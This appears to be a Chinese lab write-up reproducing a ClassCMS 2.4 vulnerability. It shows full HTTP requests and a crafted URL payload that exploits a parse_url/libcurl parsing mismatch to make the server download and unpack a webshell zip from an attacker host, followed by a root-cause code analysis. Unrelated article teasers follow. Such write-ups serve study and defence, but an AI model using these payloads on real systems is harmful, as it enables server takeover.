ClassCMS2.4漏洞复现

CMS源码在附件中

环境搭建

使用phpstudy2016搭建web环境,php版本为5.5
安装CMS
这里选择Mysql数据库进行安装

图片

用户名和密码都写默认的admin方便记忆
输入完成后点击安装

图片


点击安装

图片

CMS的安装过程中有个报错忽略就好,登录不进后台的话刷新一下页面

进入了ClassCMS的后台

图片

任意文件下载漏洞复现

在后台访问应用商店
 

图片


任意点击一个下载
 

图片


进入下载页面后点击 下载 进行抓包
 

图片


我们先放掉第一个包

图片

POST /admin?do=shop:index&ajax=1&action=fileurl&from=install HTTP/1.1Host: 192.168.12.144Content-Length: 47Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://192.168.12.144Referer: http://192.168.12.144/admin?do=shop:index&bread=%E8%B0%83%E8%AF%95%E5%BC%80%E5%85%B3&action=detail&classhash=debugswitchAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: token_9a9fe8=e0c7aacedb82db0c1522667cbf0bc806; csrf_9a9fe8=b472e230Connection: closeclasshash=debugswitch&version=1.0&csrf=b472e230

然后修改第二个请求包

图片

 
//第二个数据包POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1Host: classcmsContent-Length: 85Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://192.168.159.1Referer: http://192.168.159.1/ClassCMS/admin666?do=shop:index&bread=%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91&action=detail&classhash=classcreateAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: token_2ab421=5d012ca838cc5f0aff02c44c8e2c91e7; csrf_2ab421=338ceb00Connection: closeclasshash={dir}&url=http://@{ip}:{port}@classcms.com/{shell.zip}&csrf=b472e230

数据包参数解析

classhash为解压出来的最后文件名url为了绕过过滤设成如下形式http://@ip:80@classcms.com/shell.zip远程ip端口(默认80也需要加上),一个包含木马文件(shell.php)的zip压缩包csrf参数不动即可发送之后返回:下载完成就说明已经成功被下载到目标服务器上并解压最后访问url即可执行上传上的木马getshellhttp://ip/class/{classhash的值}/{上传压缩包中的木马文件}

我们安装上面的格式修改数据包上传一个木马文件

先在网站根目录创建一个木马文件,然后把他压缩成压缩包
 

图片

图片

然后再重新构建第二个数据包​​​​​​​

//第二个数据包POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1Host: classcmsContent-Length: 85Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://192.168.159.1Referer: http://192.168.159.1/ClassCMS/admin666?do=shop:index&bread=%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91&action=detail&classhash=classcreateAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: token_2ab421=5d012ca838cc5f0aff02c44c8e2c91e7; csrf_2ab421=b472e230Connection: closeclasshash=shell&url=http://@192.168.12.144:80@classcms.com/shell.zip&csrf=338ceb00

上传之前创建的shell.zip
classhash=shell&url=http://@192.168.12.144:80@classcms.com/shell.zip&csrf=b472e230
直接修改数据包后放包也可以
 

图片


把修改后的数据包提交
 

图片


提交成功

图片

访问http://192.168.12.144/class/shell/shell.php
 

图片


可以看到木马上传成功了,在本地也可以看到下载的shell.zip文件

图片

漏洞成因

经白盒测试发现在/class/shop/shop.php中
通过全局搜索,“下载完成”定位到此处

图片

图片


一处为在downloadClass函数中一处在upgradeClass函数中,观察功能显然是在downloadClass
 

图片


this(当前文件shop.php)->download函数下,定位到关键函数download
 

图片


 

图片


函数首先获取了默认允许的host,在this(前文件下)->defaultHost函数中
定位函数defaultHost

图片


图片


只允许 classcms.com;classcms.uuu.la
然后将我们传入的url (这里是http://http://192.168.12.144/shell.zip) 通过parse_url函数解析后在判断是否是在数组中
我们的攻击url也就是down在了这里,那么目标就是绕过这个判断然后执行接下来的curl命令​​​​​​​

if(!isset($checkurl['host']) || !in_array($checkurl['host'],$hosts)) {Return false;}

前一个条件存在是肯定满足的,那么只需要让经过parse_url解析过的host键值和数组相等即可

这里利用php中的parse_url函数和lib_curl对url的解析差异,导致了对host的过滤失效来进行绕过

php-curl拓展解析的url host在第首个@之后
而parse_url则是最后一个@之后
所以构造处payload

http://@http://192.168.12.144:80@classcms.com/shell.zip

图片

没看够~?欢迎关注!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/207689.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

springboot数据格式验证——自定义日期格式验证及list验证

我们在工作中经常需要对日期格式进行定义,如果客户端传来的日期字符串不符合要求,那么根本无法保存,但是已有的注解并没有日期格式的验证,那我们就自己实现一个 一、自定义日期格式验证的注解DateFormat import javax.validatio…

Jquery动画特效

1&#xff0c;Jquery提供的特效方法 2&#xff0c;实例代码 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><…

反序列化漏洞详解(一)

目录 一、php面向对象 二、类 2.1 类的定义 2.2 类的修饰符介绍 三、序列化 3.1 序列化的作用 3.2 序列化之后的表达方式/格式 ① 简单序列化 ② 数组序列化 ③ 对象序列化 ④ 私有修饰符序列化 ⑤ 保护修饰符序列化 ⑥ 成员属性调用对象 序列化 四、反序列化 …

【C语言加油站】函数栈帧的创建与销毁 #保姆级讲解

函数栈帧的创建与销毁 导言一、计算机硬件1.冯•诺依曼机基本思想2.冯•诺依曼机的特点&#xff1a;3.存储器3.1 分类3.2 内存的工作方式3.3 内存的组成 4.寄存器4.1 基本含义4.2 寄存器的功能4.3 工作原理4.4 分类4.4.1 通用寄存器组AX(AH、AL)&#xff1a;累加器BX(BH、BL)&a…

【BEV感知 LSS方案】Lift-Splat-Shoot(LSS)

前言 LSS全称是Lift-Splat-Shoot&#xff0c;它先从车辆周围的多个摄像头拍摄到的图像进行特征提取&#xff0c;在特征图中估计出每个点的深度&#xff0c;然后把这些点“提升”到3D空间中。 接着&#xff0c;这些3D信息被放置到一个网格上&#xff0c;最后将这些信息“拍扁”…

Mybatis如何执行批量操作

文章目录 Mybatis如何执行批量操作使用foreach标签 使用ExecutorType.BATCH如何获取生成的主键 Mybatis如何执行批量操作 使用foreach标签 foreach的主要用在构建in条件中&#xff0c;它可以在SQL语句中进行迭代一个集合。foreach标签的属性主要有item&#xff0c;index&…

Unity中Shader指令优化

文章目录 前言一、解析一下不同运算所需的指令数1、常数基本运算2、变量基本运算3、条件语句、循环 和 函数 前言 上一篇文章中&#xff0c;我们解析了Shader解析后的代码。我们在这篇文章中来看怎么实现Shader指令优化 Unity中Shader指令优化&#xff08;编译后指令解析&…

qml ParticleSystem3D使用介绍

作者:令狐掌门 技术交流QQ群:675120140 csdn博客:https://mingshiqiang.blog.csdn.net/ 在 Qt Quick 3D 中,ParticleSystem3D 是用来创建和控制3D粒子系统的元素。粒子系统是图形编程中用于模拟液体、烟雾、火、星空等现象的技术,它通过生成大量小粒子来模拟这些效果。Par…

MySQL表的操作『增删改查』

✨个人主页&#xff1a; 北 海 &#x1f389;所属专栏&#xff1a; MySQL 学习 &#x1f383;操作环境&#xff1a; CentOS 7.6 阿里云远程服务器 &#x1f381;软件版本&#xff1a; MySQL 5.7.44 文章目录 1.创建表1.1.创建时指定属性 2.查看表2.1.查看表结构2.2.查看建表信息…

GLM: 自回归空白填充的多任务预训练语言模型

当前&#xff0c;ChatGLM-6B 在自然语言处理领域日益流行。其卓越的技术特点和强大的语言建模能力使其成为对话语言模型中的佼佼者。让我们深入了解 ChatGLM-6B 的技术特点&#xff0c;探索它在对话模型中的创新之处。 GLM: 自回归空白填充的多任务预训练语言模型 ChatGLM-6B 技…

万界星空科技生产管理mes系统种的工艺确认流程

MES工艺流程是制造执行系统的核心部分&#xff0c;它涵盖了整个生产过程&#xff0c;包括物料管理、生产计划、生产执行、质量管理、维修保养等方面&#xff0c;可以有效地提高生产效率和产品质量。 一、确认追溯模型&#xff1a; 以工艺文件为确认对象&#xff0c;以产品生产…

解决ansible批量加入新IP涉及known_hosts报错的问题

我们把一批新的IP加入到ansible的hosts文件&#xff0c;比如/etc/ansible/hosts&#xff0c;往往会有这样的提示&#xff0c; 因为本机的~/.ssh/known_hosts文件中并有fingerprint key串&#xff0c;使用ssh连接目标主机时&#xff0c;一般会提示是否将key字符串加入到~/.ssh/…

文字识别(OCR)专题——基于NCNN轻量级PaddleOCRv4模型C++推理

前言 PaddleOCR 提供了基于深度学习的文本检测、识别和方向检测等功能。其主要推荐的 PP-OCR 算法在国内外的企业开发者中得到广泛应用。在短短的几年时间里&#xff0c;PP-OCR 的累计 Star 数已经超过了32.2k&#xff0c;常常出现在 GitHub Trending 和 Paperswithcode 的日榜…

2.qml 3D-View3D类学习

本章我们来学习View3D类。 View3D是用来渲染3D场景并显示在2D平面的类&#xff0c;并且该类可以放在QML2D下继承于Item子类的任何场景中&#xff0c;比如将View3D放在Rectangle中: Rectangle {width: 200 height: 200color: "red"View3D { anchors.fill: parent…

瞻芯电子荣获“汽车芯片50强”奖,展现技术水平

023年11月28日&#xff0c;瞻芯电子在北京举办的“芯向亦庄”汽车芯片大赛中脱颖而出&#xff0c;凭借其车规级碳化硅(SiC)MOSFET产品的卓越性能和创新特点&#xff0c;荣获“汽车芯片50强”奖项&#xff0c;展现了瞻芯电子在汽车芯片领域的技术水平和发展潜力。 芯向亦庄2023汽…

Inkscape 图片生成Gcode

1.到网上找一张简单的图片&#xff0c;拖入软件中 2.文档属性单位改成毫米 3.路径--->提取位图轮廓-->使用边缘检测 4.删除原图片 5.路径-->笔廓转化成路径 6.转变完了效果如下 7.文件另存为--> gcode 就大功告成啦

0Ω电阻最大过流能力及作用用途

0Ω电阻最大过流能力及作用用途 0Ω电阻过流能力0Ω电阻的作用 0Ω电阻过流能力 0Ω电阻不一定是真正的0Ω电阻&#xff0c;0Ω电阻存在一定的阻值偏差&#xff0c;主要看生产电阻厂商做哪种了。厂商都是根据电阻标准文件 EN60115-2&#xff0c; 里头0Ω电阻实际最大阻值有 10…

【Redis缓存】RedisTemplate如何获取符合要求的key,批量获取key

RedisTemplate如何获取符合要求的key,批量获取key 一、方法/命令二、数据使用 一、方法/命令 如果使用命令的形式&#xff0c;输入以下命令即可 keys *如果使用RedisTemplate&#xff0c;则方法为 redisTemplate.keys()获取所有符合条件的key。 二、数据使用 redis中缓存了…

【Linux系统化学习】揭秘 命令行参数 | 环境变量

个人主页点击直达&#xff1a;小白不是程序媛 Linux专栏&#xff1a;Linux系统化学习 代码仓库&#xff1a;Gitee 目录 命令行参数 环境变量 PATH 查看PATH $PWD 查看环境变量PWD $HOME 查看系统支持的环境变量 获取环境变量 命令行参数 在C/C编程语言中我们有一个…

高并发下缓存失效问题-缓存穿透、缓存击穿、缓存雪崩、Redis分布式锁简单实现、Redisson实现分布式锁

文章目录 缓存基本使用范式暴露的几个问题缓存失效问题---缓存穿透缓存失效问题---缓存击穿一、单机锁正确的锁粒度不正确的锁粒度无法保证查询数据库次数是唯一 二、分布式锁getCatalogJsonData()分布式锁演进---基本原理分布式锁(加锁)演进一&#xff1a;删锁失败导致死锁分布…